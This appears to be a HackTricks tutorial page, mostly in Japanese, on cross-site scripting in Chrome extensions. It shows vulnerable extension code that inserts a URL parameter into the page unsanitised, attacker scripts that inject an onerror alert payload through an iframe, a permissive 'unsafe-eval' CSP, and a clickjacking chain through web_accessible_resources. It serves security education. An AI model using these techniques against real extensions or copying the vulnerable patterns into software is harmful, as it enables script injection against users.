7.9 KiB
BrowExt - XSS Example
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Family、当社の独占的な NFTs コレクションを発見する
- 💬 Discordグループ または telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする
- ハッキングテクニックを共有するために、PRを HackTricks と HackTricks Cloud github リポジトリに提出する
Cross-Site Scripting (XSS) through Iframe
このセットアップでは、コンテンツスクリプトが実装され、クエリパラメータを含むURLをIframeのソースとして取り込んだIframeがインスタンス化されます:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
以下は、ファイル**message.html
**にアクセス可能なHTMLページで、URLのパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースのcontent
パラメータが変更され、XSSペイロードが導入されます。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
過度に許可されたContent Security Policyは次のようなものです:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にすることができます。
XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースをcontent
パラメータとして有害なスクリプトを含めることです:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
この例は、元の投稿の解説から取得されました。
問題の核となるのは、**/html/bookmarks.html
にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性です。問題のJavaScriptは、bookmarks.js
**の一部で以下に詳細が記載されています。
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
このコードスニペットは、txtName
入力フィールドから value
を取得し、HTML を生成するために文字列連結を使用し、それをjQueryの .append()
関数を使ってDOMに追加します。
通常、Chrome 拡張機能のコンテンツセキュリティポリシー(CSP)はこのような脆弱性を防ぎます。ただし、'unsafe-eval' でのCSP緩和とjQueryのDOM操作メソッドの使用(これはDOM挿入時にスクリプトを eval()
に渡すために globalEval()
を使用)により、依然として攻撃が可能です。
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。
この脆弱性を強化するために、二次的な clickjacking 脆弱性が悪用されます。Chrome 拡張機能のマニフェストには、広範な web_accessible_resources
ポリシーが示されています:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Notably, the /html/bookmarks.html
page is prone to framing, thus vulnerable to clickjacking. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
References
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.